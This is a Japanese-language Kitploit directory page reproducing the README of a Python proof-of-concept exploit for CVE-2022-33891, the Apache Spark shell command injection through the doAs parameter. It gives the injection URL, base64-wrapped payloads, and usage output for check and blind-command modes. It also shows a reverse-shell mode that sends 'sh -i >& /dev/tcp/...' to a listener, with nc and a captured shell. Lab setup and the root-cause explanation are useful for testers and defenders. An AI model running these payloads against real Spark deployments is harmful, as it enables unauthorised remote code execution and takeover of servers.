Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2022-33891 — Apache Spark Shell コマンドインジェクションの脆弱性 | Kitploit
ツール/GitHubGitHub/huskyhacks/cve-2022-33891
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール
GitHubhuskyhacks/cve-2022-33891

cve-2022-33891

Apache Spark Shell コマンドインジェクションの脆弱性

リポジトリを見る
89173年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-33891

Apache Spark シェルコマンドインジェクションの脆弱性

Apache Spark シェルコマンドインジェクション脆弱性を悪用するための Python POC。他の POC もいくつか見かけましたが、それらは非常に怪しいものでした。これはクリーンでシンプルです。

私はこのエクスプロイト/脆弱性を発見したわけではありません。コミュニティのために安全な POC を作りたかっただけです ^.^

CVE は Databricks の Kostya Kortchinsky 氏によって発見されました。

更新 2022/9/7: あら、これ用の Metasploit モジュールができてる! h00die-gr3y によって作られ、マージされました!

影響を受けるバージョン

Apache Spark バージョン 3.0.3 以前、バージョン 3.1.1~3.1.2、およびバージョン 3.2.0~3.2.1

脆弱なコンポーネント

root@kitploit:~
http://localhost:8080/?doAs=`[コマンドインジェクションここ]`

例

root@kitploit:~
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`

... 10秒間スリープします

セットアップ

脆弱なバージョンの Spark が必要で、設定オプションを1つ変更する必要があります。

  • 依存関係をインストール: $ pip3 install -r requirements.txt
  • spark/ ディレクトリに移動します。
  • spark/ ディレクトリ内の提供された docker-compose.yml を使用して docker-compose up を実行します。コンテナが起動するのを待ちます。
  • 新しいターミナルで、sudo docker exec -it spark_spark_1 /bin/bash を入力します。
  • コンテナの bash セッション内で、次を入力します: echo "spark.acls.enable true" >> conf/spark-defaults.conf
  • オプションで、spark-defaults.conf の内容を cat して正しく設定されているか確認します。
  • インタラクティブな bash シェルを終了し、docker-compose プロセスを Ctrl-C で停止します。
  • コンテナが正常に停止したら、docker-compose up を再実行します。

使用方法

root@kitploit:~
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 poc.py -h
usage: poc.py [-h] -u URL -p PORT [--revshell]
              [-lh LISTENINGHOST] [-lp LISTENINGPORT]
              [--check] [--verbose]

CVE-2022-33891 Python POC Exploit Script

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     URL to exploit.
  -p PORT, --port PORT  Exploit target's port.
  --revshell            Reverse Shell option.
  -lh LISTENINGHOST, --listeninghost LISTENINGHOST
                        Your listening host IP address.
  -lp LISTENINGPORT, --listeningport LISTENINGPORT
                        Your listening host port.
  --check               Checks if the target is
                        exploitable with a sleep test
  --verbose             Verbose mode

例

ターゲットが脆弱かどうかを確認する:

root@kitploit:~
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --check --verbose
[*] Attempting to connect to site...
[*] URL request: http://localhost:8080/?doAs='testing'
[*] Response status code: 403
[!] Performing sleep test of 10 seconds...
[*] T1: 2022-07-22 10:47:48.406996
[*] Command is: sleep 10
[*] Base64 command is: c2xlZXAgMTA=
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[*] Sending exploit...
[*] Response status code: 403
[*] Hint: 403 is good.
[*] T2: 2022-07-22 10:47:58.425108
[*] Delta T: 10
[+] Sleep was 10 seconds! This target is probably vulnerable!

コマンドプロンプトループでコマンドを発行する:

root@kitploit:~
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --verbose
[*] "Interactive" mode!
[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
[cve-2022-33891> sleep 5
[*] Command is: sleep 5
[*] Base64 command is: c2xlZXAgNQ==
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
[*] Sending exploit...
[*] Response status code: 403
[*] Hint: 403 is good.
[cve-2022-33891> 

リバースシェルを実行する:

root@kitploit:~
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 10.10.1.237 -lp 9001 --verbose
[*] Reverse shell mode.
[*] Set up your listener by entering the following:
nc -nvlp 9001
[*] When your listener is set up, press enter!
[*] Command is: sh -i >& /dev/tcp/10.10.1.237/9001 0>&1
[*] Base64 command is: c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx | base64 -d | bash`
[*] Sending exploit...

...[別のターミナルで]...

husky@dev-kde:~/Desktop/cve-2022-33891$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Connection received on 172.19.0.2 52136
sh: 0: can't access tty; job control turned off
$ whoami
spark
$ echo "hackerman"
hackerman
$ 

詳細情報

コマンドインジェクションは、Spark が ?doAs パラメータで渡されたユーザーのグループメンバーシップを、生のLinuxコマンドを使用してチェックするために発生します。Bash の展開がコマンドを実行し、その出力を id フィールドに送り、結果のユーザーを検索しようとします。

which python を ?doAs= の値として渡すと、トレースバックで次の結果が生成されます:

root@kitploit:~
...
http://localhost:8080/?doAs=`which%20python`
...

spark_1  | 22/07/22 15:15:57 INFO Utils: id: '/opt/bitnami/python/bin/python': no such user
spark_1  | 22/07/22 15:15:57 ERROR Utils: Process List(bash, -c, id -Gn `which python`) exited with code 1: 
spark_1  | 22/07/22 15:15:57 ERROR Utils: Error getting groups for user=`which python`

ここで、Java は指定されたユーザーのグループメンバーシップをチェックするために、id コマンドを bash -c に渡すのが最善と判断しました。問題は、これによりコマンドインジェクションも可能になることです。Bash の展開は与えられたコマンドを評価し、その結果をこの出力の1行目に表示し、コマンドの標準出力によってユーザーを検索しようとします。

/opt/bitnami/python/bin/python という名前のユーザーはいませんが、コマンドが Bash に渡され実行されたことは確かです。

パッチ適用済みのバージョンでは、この呼び出しをパラメータ化し、bash -c id ではなく /bin/id コマンドへのフルパスを使用するようにしています。

コマンド実行中にページに何も反映されないため、これはブラインドOSインジェクションであることに注意してください。コマンドは実行されますが、成功したかどうか、またはターゲット上で実行しているプログラムが存在するかどうかの兆候はありません。例えば、このリポジトリの docker-compose.yml で起動するコンテナには ping がないため、pingback によるコマンドインジェクションの確認は機能しません。しかし、そのことを知らなければ、それが機能したかどうか疑問に思うことになるでしょう。

スリープテストは安全な方法です ^.^

OPSEC

私はこれを OPSEC セーフにするためにまったくサイクルを費やしていません。レッドチームの方々、それはあなた方次第です。

免責事項

この POC にはパッシブな列挙機能はありません。このエクスプロイトはブラインドコマンドインジェクションです。このスクリプトをターゲットに対して使用する場合、パケットを送信することになります。--check パラメータを使用してターゲットが脆弱であると確認した場合でも、脆弱性を証明するために積極的にエクスプロイトしていることになります。

テストに敏感な本番システムでは使用しないでください。許可なくターゲットに対して使用しないでください。このスクリプトの使用方法について、私は一切の責任を負いません。

ライセンスを確認してください。

参考文献

  • https://securityonline.info/cve-2022-33891-apache-spark-shell-command-injection-vulnerability/
  • https://nvd.nist.gov/vuln/detail/CVE-2022-33891
  • https://spark.apache.org/docs/2.1.0/configuration.html
  • https://github.com/W01fh4cker/cve-2022-33891 (この POC の使用はお勧めしません)
ツールをダウンロード